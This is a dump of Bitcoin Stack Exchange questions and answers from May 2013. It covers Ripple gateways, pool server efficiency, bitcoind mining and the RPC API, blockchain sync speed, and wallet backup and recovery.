  <row Id="10516" PostTypeId="2" ParentId="10489" CreationDate="2013-05-02T14:02:47.857" Score="9" Body="&lt;p&gt;The &lt;a href=&quot;https://ripple.com/wiki&quot; rel=&quot;nofollow&quot;&gt;Ripple Wiki&lt;/a&gt; has &lt;a href=&quot;https://ripple.com/wiki/Gateway_Guide&quot; rel=&quot;nofollow&quot;&gt;a section&lt;/a&gt; on running a Gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic summary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Determine what you will be a gateway for (e.g. bitcoin, alt-coin, fiat, collector coins, etc)&lt;/li&gt;&#xA;&lt;li&gt;Accept those items outside of Ripple (via a website, in person, via mail, etc)&lt;/li&gt;&#xA;&lt;li&gt;Issue IOU in Ripple for items received (make a Ripple payment)&lt;/li&gt;&#xA;&lt;li&gt;Publish and follow a redemption agreement; what you promise to do when sent back your IOUs&lt;/li&gt;&#xA;&lt;li&gt;When sent a payment in your own IOU, you return/send the items outside of Ripple as per your redemption agreement (via a website, in person, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a good example of a private party starting and running a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=149533.0&quot; rel=&quot;nofollow&quot;&gt;gateway for trading DYM (pre-1964 silver US dimes)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you are a gateway for, you can do the Ripple interaction manually (e.g. for the US dimes above it's all manual since the person needs to evaluate and handle incoming dimes anyway) or you can automate it (e.g. there is a &lt;a href=&quot;https://www.dividendrippler.com/&quot; rel=&quot;nofollow&quot;&gt;TRC and LTC gateway&lt;/a&gt; that uses a web interface to configure a Ripple address to TRC and/or LTC address mapping and then automatically passes funds into and out of Ripple.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="153" LastEditDate="2013-10-06T22:55:32.550" LastActivityDate="2013-10-06T22:55:32.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10518" PostTypeId="2" ParentId="10350" CreationDate="2013-05-02T15:26:50.617" Score="1" Body="&lt;p&gt;One compute-intensive part of the server work is creating new merkle roots. As mckoss mentions this becomes a lot faster if you only recalculate the merkle branch that is changed by the new generation transaction instead of recalculating the entire merkle tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other compute-intensive part of the server's job is verifying the proofs of work that are later sent in. In general this means hashing two SHA-256 chunks and verifying the result against the difficulty. But if there are multiple proofs of work with the same merkle root then you could calculate the midstate once, and then just hash one SHA-256 chunk for each proof of work you want to verify. Just like clients do with rollntime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So every new merkle root is work to generate, and also creates more work later by needing a new midstate to be calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitMinter makes use of rolling the ntime field on the server as well as in the client. Every time the wall clock ticks forward one second, you update the ntime field of the block data with a new timestamp. Then you can reuse all the merkle roots and midstates you have from the previous second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This saves a massive amount of work on the server, and it is how BitMinter could run with low load on a single server with 2-3 TH/s of hashpower while some (not well optimized) pools needed a new server for every 300 GH/s of hashpower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then such optimizations have become less important. More clients started supporting rollntime. Servers and clients started using work difficulty above 1, meaning much less work had to be verified on the server. And then there are the new protocols to replace getwork: Stratum and GBT (getblocktemplate). With these protocols the server just generates a template which is very cheap to generate, then the clients do the heavier part of creating work based on the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still think it's a good idea for clients to use the ntime trick to reuse merkle roots and midstates, which allows midstate reuse on the server side as well, although this is no longer a big deal.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-05-02T15:26:50.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10521" PostTypeId="1" AcceptedAnswerId="10523" CreationDate="2013-05-02T16:48:06.880" Score="5" ViewCount="29034" Body="&lt;p&gt;If I try to login to ripple.com I get this message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fetching wallet...&#xA;Payward  Wallet not found (Username / Password is wrong)&#xA;Local browser  Wallet not found (Username / Password is wrong)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might be a bug, but let's assume I actually somehow corrupted my password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily I still have my security key, but I've no idea on how should I use it to restore my wallet.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="5406" LastEditDate="2014-06-17T21:43:55.527" LastActivityDate="2022-10-26T16:17:52.807" Title="How to restore a ripple wallet, having the security key?" Tags="|ripple|security-key|wallet-recovery|" AnswerCount="2" CommentCount="2" ClosedDate="2022-10-26T17:05:49.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="10522" PostTypeId="1" AcceptedAnswerId="10525" CreationDate="2013-05-02T16:54:02.803" Score="4" ViewCount="3378" Body="&lt;p&gt;I'm having a hard time understanding the relationship between daemons (such as &lt;code&gt;bitcoind&lt;/code&gt; or &lt;code&gt;litecoind&lt;/code&gt;) and mining.  Some things I read make it seem that you need a separate mining app and some things seem to suggest that the daemon itself does mining.  Which is it?  I'm thinking maybe the daemon &lt;strong&gt;can&lt;/strong&gt; do mining but it needs to be enabled and if you don't enable it you can use a separate app instead?  I'm confused.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2016-04-28T14:38:31.973" LastActivityDate="2016-04-28T14:38:31.973" Title="Is a mining program necessary for mining, or can bitcoind mine by itself?" Tags="|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10523" PostTypeId="2" ParentId="10521" CreationDate="2013-05-02T16:56:36.573" Score="5" Body="&lt;p&gt;Following &lt;a href=&quot;http://www.btcpedia.com/create-new-ripple-wallet-with-secret-key/&quot; rel=&quot;noreferrer&quot;&gt;these instructions&lt;/a&gt;, after clicking on &lt;a href=&quot;https://ripple.com/client/#/register&quot; rel=&quot;noreferrer&quot;&gt;Create a new wallet&lt;/a&gt;, you will have the option of using a custom secret key.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-05-02T16:56:36.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10525" PostTypeId="2" ParentId="10522" CreationDate="2013-05-02T18:28:20.353" Score="4" Body="&lt;p&gt;The daemon can do mining using the &lt;code&gt;-gen&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;command line option&lt;/a&gt;, but it's CPU mining and is impractical nowadays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a separate mining app is practical. That separate mining app connects to a running &lt;code&gt;bitcoind&lt;/code&gt; via its JSON-RPC API in order to facilitate &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;getwork&lt;/a&gt; or &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;getblocktemplate&lt;/a&gt; requests necessary for hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JSON-RPC API is configured in &lt;code&gt;bitcoin.conf&lt;/code&gt; or at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;command line&lt;/a&gt; using these arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rpcuser=&amp;lt;user&amp;gt;        Username for JSON-RPC connections&#xA;-rpcpassword=&amp;lt;pw&amp;gt;      Password for JSON-RPC connections&#xA;-rpcport=&amp;lt;port&amp;gt;        Listen for JSON-RPC connections on &amp;lt;port&amp;gt; (default: 8332 or testnet: 18332)&#xA;-rpcallowip=&amp;lt;ip&amp;gt;       Allow JSON-RPC connections from specified IP address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-02T18:28:20.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10526" PostTypeId="2" ParentId="10508" CreationDate="2013-05-02T18:30:06.080" Score="1" Body="&lt;p&gt;What kind of computer are you using? It's not just downloading the blockchain, it is also verifying it and creating the databases locally. This can be fairly CPU intensive. 2-5KB seems very slow, but maybe you just caught it at a slow point. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your CPU using Activity Monitor/Perf Mon. If you are seeing high CPU, that's a good thing. You might just be downloading as fast as your CPU can process blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hover over the spinning icon in the bottom right. It will tell you the exact number of blocks processed. Write down the current block it has completed, come back in an hour and see how many you've progressed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a particularly slow/old computer, this might be normal. If you don't seem to be CPU limited, or you aren't making decent progress when you are looking at the actual block counts, then post a follow up to your question with some more specifics. (Such as what computer you are using, what you are seeing in terms of CPU usage, and how many blocks you have processed over what period of time.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update based on comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm starting to think that &lt;a href=&quot;https://bitcoin.stackexchange.com/users/909/lodewijk&quot;&gt;Lodewijk&lt;/a&gt; and his answer has the right idea here. I had originally thought that 8 connections probably wasn't the issue because even eight connections should be more than a few KB per second. But if they are poor connections they might be your issue. Did you open the open the Bitcoin port in your firewall and port forward it to you laptop?&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-05-03T13:14:18.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10527" PostTypeId="2" ParentId="10508" CreationDate="2013-05-02T19:13:24.823" Score="2" Body="&lt;p&gt;The synchronization process may be slow on slow computers - it does not only rely on bandwidth. After downloading a chunk of blocks from various peers, the Client needs to verify every transaction in them, which is a very CPU intensive task. If you have a slow computer, this will be the bottleneck - you will spend a lot of time verifying the block and only a little downloading them, making the average download speed small.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-02T19:13:24.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10528" PostTypeId="1" AcceptedAnswerId="10529" CreationDate="2013-05-02T19:57:01.453" Score="3" ViewCount="2144" Body="&lt;p&gt;I managed to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10496/how-to-build-bitcoin-from-source-on-arch-linux-2012-10-64bit&quot;&gt;build bitcoind on arch linux&lt;/a&gt; after downloading the source from github, but after running bitcoind getinfo command, I am told:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;errors&quot; : &quot;This is a pre-release test build - use at your own risk -&#xA;  do not use for mining or merchant applications&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I remove that message and use a stable build, instead of the pre-release one I downloaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume I have to do something with the information found here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tags&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-09-16T10:14:53.090" Title="When building bitcoind from source, how to specify stable build?" Tags="|bitcoind|installation|compiling|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10529" PostTypeId="2" ParentId="10528" CreationDate="2013-05-02T20:08:39.093" Score="5" Body="&lt;p&gt;If you got the source via git, you can checkout on the latest stable release tag, currently &lt;code&gt;v0.8.1&lt;/code&gt; using the git command &lt;code&gt;git checkout v0.8.1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you did not setup git, you can simply download the source from that tag version from &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tags&quot;&gt;the webpage you suggested&lt;/a&gt; using either the .zip or .tar.gz link underneath the tag name. &lt;code&gt;vX.X.X&lt;/code&gt; releases are stable ones, while the &lt;code&gt;vX.X.XrcX&lt;/code&gt; releases are release candidates, meaning that they can still contain a few bugs.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-02T20:08:39.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10530" PostTypeId="2" ParentId="9362" CreationDate="2013-05-02T20:16:39.357" Score="0" Body="&lt;p&gt;I recently got mine locked because my YubiKey broke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to disable the YubiKey for your account, your account will be frozen &lt;em&gt;for two weeks&lt;/em&gt;. I had my account information verified and still got locked.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-02T20:16:39.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10531" PostTypeId="2" ParentId="9828" CreationDate="2013-05-02T20:21:08.153" Score="3" Body="&lt;p&gt;When you &lt;strong&gt;generate&lt;/strong&gt; new accounts inside a wallet you &lt;strong&gt;will only have to make a back-up once&lt;/strong&gt;. The backup key gives armory the possibility to create a indefinite series of addresses for your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that by default, Armory only generates 100 addresses. This means that when you use more than 100 and you lose your wallet, after you restore the back-up, the client will at first only see the first 100 addresses. You will have to specifically tell Armory to look for more addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This does not count for addresses you imported in a wallet!&lt;/strong&gt; If you import private keys to a wallet, you will have to back-up them separately! The easy back-up process only works for addresses generated by Armory.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-02T20:21:08.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10533" PostTypeId="2" ParentId="10468" CreationDate="2013-05-02T20:36:40.723" Score="4" Body="&lt;p&gt;You can do that via the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;default bitcoind API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you are used to use Bitcoin-Qt? Then most probably the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;bitcoind daemon&lt;/a&gt; is also installed on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move an address from one wallet to another using the &lt;code&gt;setaccount&lt;/code&gt; command. It works as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setaccount &amp;lt;bitcoinaddress&amp;gt; &amp;lt;account&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when you have an address, let's say &lt;code&gt;1HDPmDGcgXkRTBbACYXNQ1SNeoCQEPvN3v&lt;/code&gt;, that you want to move from &lt;code&gt;wallet1&lt;/code&gt; to &lt;code&gt;wallet2&lt;/code&gt;, then you can do the following command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setaccount 1HDPmDGcgXkRTBbACYXNQ1SNeoCQEPvN3v wallet2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can perform these commands most easily from a command line interface. In Unix systems where &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt; is installed, you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure Bitcoin-Qt is closed.&lt;/li&gt;&#xA;&lt;li&gt;Launch bitcoind as a daemon:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind -daemon&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do the command I mentioned above: (It's possible that you get an error that the Bitcoin server is not yet running, just wait a little.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind setaccount 1HDPmDGcgXkRTBbACYXNQ1SNeoCQEPvN3v wallet2&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-02T20:36:40.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10534" PostTypeId="1" AcceptedAnswerId="25580" CreationDate="2013-05-02T20:49:49.237" Score="10" ViewCount="5110" Body="&lt;p&gt;I know that all Bitcoin API methods are listed on the wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;. However, some of the methods are very poorly documented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;F.e. the &lt;code&gt;lockunspent&lt;/code&gt; method is only documented as taking the parameters &lt;code&gt;&amp;lt;unlock?&amp;gt; [array-of-objects]&lt;/code&gt;. No clue about what type of objects. And there are more examples like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &lt;em&gt;good&lt;/em&gt; API &lt;strong&gt;reference&lt;/strong&gt; that specifies what parameters are expected and what result they give back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would so much lower the bar for new developers!&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1761" LastEditDate="2014-03-14T19:13:12.387" LastActivityDate="2014-09-28T11:10:40.373" Title="Does a full Bitcoin API reference exist with examples?" Tags="|bitcoind|api|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10535" PostTypeId="1" CreationDate="2013-05-02T21:29:29.543" Score="3" ViewCount="332" Body="&lt;p&gt;I know how to obtain this information from other means, I specifically want to know if it's possible for me to obtain this information using the Bitcoin-Qt client alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running it on Windows Vista and I don't have a miner set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3151" LastEditorUserId="1307" LastEditDate="2013-05-02T22:40:25.597" LastActivityDate="2013-05-02T22:58:51.893" Title="Is there a command I can type into Bitcoin-Qt to see the total number of bitcoins that have been created?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10536" PostTypeId="1" CreationDate="2013-05-02T21:32:19.293" Score="1" ViewCount="1370" Body="&lt;p&gt;I am starting a LiteCoin mmcFE-pushpool pool for several clubs at my university, and am having some problem. First, we are running on an EC2 instance (Ubuntu), and have mmcFE and pushpull running. I am having two major issues before we can start up this pool...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) On the web interface, users are able to create and account and log in just fine. On the left hand side, there is an error/notice that states: Notice: Undefined variable: totalOverallShares in /var/www/includes/leftsidebar.php on line 64 I am also getting Notice: Undefined variable: totalOverallShares in /var/www/includes/leftsidebar.php on line 71&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Second, I went ahead and ignored the previous error and decided to run a CPU miner just to test the stats. Normally I can hash out (scrypt) at about 11kh/s on other peoples pools. It has been running for about 5hrs now, and my stats on the website are still saying 0. The cron job is running every 2 minutes. Using MINERD and never getting any &quot;shares submitted, Yeah!&quot; on my pc....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any pointers? I am really stumped as to what could be holding us up. You can see this problem on the webpage at &lt;a href=&quot;http://p2pool.us&quot; rel=&quot;nofollow&quot;&gt;http://p2pool.us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;# network ports&#xA;&quot;listen&quot; : [&#xA;        # binary protocol (default), port 8336&#xA;        { &quot;port&quot; : 8336 },&#xA;&#xA;        # HTTP JSON-RPC protocol, port 8337&#xA;        { &quot;port&quot; : 8337, &quot;protocol&quot; : &quot;http-json&quot; }&#xA;&#xA;],&#xA;&#xA;# database settings&#xA;&quot;database&quot; : {&#xA;       &quot;engine&quot; : &quot;mysql&quot;,&#xA;&#xA;       # 'host' defaults to localhost, if not specified&#xA;        &quot;host&quot; : &quot;127.0.0.1&quot;,&#xA;&#xA;       # 'port' uses proper default port for the DB engine,&#xA;       # if not specified&#xA;       &quot;port&quot; : &quot;3306&quot;,&#xA;&#xA;       &quot;name&quot; : &quot;sc&quot;,&#xA;       &quot;username&quot; : &quot;myusername&quot;,&#xA;       &quot;password&quot; : &quot;mypasswd&quot;,&#xA;       &quot;sharelog&quot; : true,&#xA;       &quot;stmt.pwdb&quot;:&quot;SELECT password FROM pool_worker WHERE username = ?&quot;,&#xA;&#xA;       &quot;stmt.sharelog&quot;:&quot;INSERT INTO shares (rem_host, username,   our_result,               upstream_result, reason, solution) VALUES (?, ?, ?, $&#xA;},&#xA;&#xA;# cache settings&#xA;&quot;memcached&quot; : {&#xA;        &quot;servers&quot; : [&#xA;                { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 11211 }&#xA;        ]&#xA;},&#xA;        &quot;servers&quot; : [&#xA;                { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 11211 }&#xA;        ]&#xA;},&#xA;&#xA;&quot;pid&quot; : &quot;/tmp/pushpoold.pid&quot;,&#xA;&#xA;# overrides local hostname detection&#xA;&quot;forcehost&quot; : &quot;localhost.localdomain&quot;,&#xA;&#xA;&quot;log.requests&quot; : &quot;/tmp/request.log&quot;,&#xA;&quot;log.shares&quot; : &quot;/tmp/shares.log&quot;,&#xA;&#xA;# the server assumes longpolling (w/ SIGUSR1 called for each blk)&#xA;&quot;longpoll.disable&quot; : false,&#xA;&#xA;# length of time to cache username/password credentials, in seconds&#xA;&quot;auth.cred_cache.expire&quot; : 75,&#xA;&#xA;# RPC settings&#xA;&quot;rpc.url&quot; : &quot;http://127.0.0.1:9332/&quot;,&#xA;&quot;rpc.user&quot; : &quot;user&quot;,&#xA;&quot;rpc.pass&quot; : &quot;pass&quot;,&#xA;&#xA;# rewrite returned 'target' to difficulty-1?&#xA;&quot;rpc.target.rewrite&quot; : true,&#xA;&#xA;# allow clients to update the ntime field of their work&#xA;&quot;roll.ntime.disable&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above shows my PUSHPOOLD config. Below, is my litecoind conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcallowip=127.0.0.1&#xA;rpcuser=user&#xA;rpcpassword=pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4800" LastActivityDate="2013-05-16T17:00:31.527" Title="Pushpoold mmcFE-Litecoin server not running properly" Tags="|litecoin|ubuntu|pushpool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10537" PostTypeId="2" ParentId="10223" CreationDate="2013-05-02T22:08:11.967" Score="5" Body="&lt;p&gt;A Ripple gateway acts much like a bank. They compete based on trust, convenience, and cost. They hold other people's money. They promise to handle that money according to their customer's instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One difference is that there's no formal barrier to entry to becoming a Ripple gateway. Someone can open a gateway anywhere in the world and have equal access to the Ripple network for transferring balances, exchanging currencies, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can imagine a &quot;central bank&quot; setup on Ripple. One way the central bank could work would be for the central bank to guarantee the performance of gateways and ensure liquidity between them by committing to maintaining a 1-to-1 exchange between the balances of the gateway's it guarantees and its own balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way a central bank could work on Ripple is if the central bank is the sole currency issuer and manages the account people trust. This would allow a currency with a money supply managed by a central authority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bank could also maintain interest bearing deposit accounts on Ripple. A central bank could maintain such accounts for banks or gateways.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-02T22:08:11.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10538" PostTypeId="1" CreationDate="2013-05-02T22:24:32.790" Score="2" ViewCount="291" Body="&lt;p&gt;Both transactions and blocks have a &lt;code&gt;time&lt;/code&gt; field when you use Bitcoin's &lt;code&gt;getblock&lt;/code&gt; or &lt;code&gt;gettransaction&lt;/code&gt; methods. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API method list&lt;/a&gt; defines the transaction time as &quot; time the transaction occurred&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the time the transaction or block arrived at my client? Or is this time defined by the sender of the transaction or block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to encode a transaction to a raw transaction and decode it again afterwards, but the &lt;code&gt;lock_time&lt;/code&gt; property is set to &lt;code&gt;0&lt;/code&gt; when I do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this question is that I want to make sure that when you check all transactions twice, all new ones of the second check have a time value higher than the highest one of the first check.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-02T23:13:51.550" LastActivityDate="2013-05-02T23:18:05.270" Title="Is the time value in transaction or block information the time it arrived at my client?" Tags="|transactions|block|api|time|locktime|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-03T15:13:49.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="10539" PostTypeId="2" ParentId="10535" CreationDate="2013-05-02T22:39:26.483" Score="3" Body="&lt;p&gt;You can calculate the total amount of when you know the last block in the block chain. You can check the number of block by holding your mouse on the icon in the lower right corner of the Bitcoin-Qt client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will need to use &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_Currency_Supply#Projected_Bitcoins_Long_Term&quot; rel=&quot;nofollow&quot;&gt;this table&lt;/a&gt; to calculate the total amount of bitcoins there exist. This table just lists up the block rewards, which halves every 210,000 blocks and starts at 50 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently you can easily add the 10,500,000 BTC from the first 210,000 blocks with 25 times the current block count minus 210,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have an implementation that you can use forever, it would look like this (I used &lt;a href=&quot;http://www.python.org/&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def total_bitcoins(current_block_count):&#xA;    count = current_block_count&#xA;    reward = 5000000000 # satoshi&#xA;    total = 0 &#xA;    while count &amp;gt; 0:&#xA;        total += min(count, 210000) * reward&#xA;        count -= 210000&#xA;        reward /= 2&#xA;    return total / 100000000.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this process limits the total amount of bitcoins that will ever be created to 20,999,999.9769.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-02T22:58:51.893" LastActivityDate="2013-05-02T22:58:51.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10540" PostTypeId="2" ParentId="10538" CreationDate="2013-05-02T23:18:05.270" Score="3" Body="&lt;p&gt;Blocks have timestamps, transactions don't. The time of a block creation is known, the time of the transaction can only be guessed. Most clients use the block's time for transactions, and if they're still in the transaction mempool (not in a block) they use the time the transaction was first seen by the client.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-02T23:18:05.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10541" PostTypeId="1" AcceptedAnswerId="10544" CreationDate="2013-05-02T23:32:38.613" Score="3" ViewCount="1036" Body="&lt;p&gt;Apart from bitcoin, I know few other crypto currencies (by this I mean currency which works in a similar way to bitcon). They are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;namecoin&lt;/li&gt;&#xA;&lt;li&gt;lightcoin&lt;/li&gt;&#xA;&lt;li&gt;ripple&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also heard about SolidCoin, but as far as I understood it is already dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this everything or am I missing something&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-05-03T00:55:04.810" Title="Is there a list of all cryptocoin currencies?" Tags="|currencies|decentralization|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-03T12:36:18.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="10543" PostTypeId="2" ParentId="85" CreationDate="2013-05-03T00:37:28.027" Score="0" Body="&lt;p&gt;Brief comparisons of the different alts here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=134179.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=134179.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T00:37:28.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
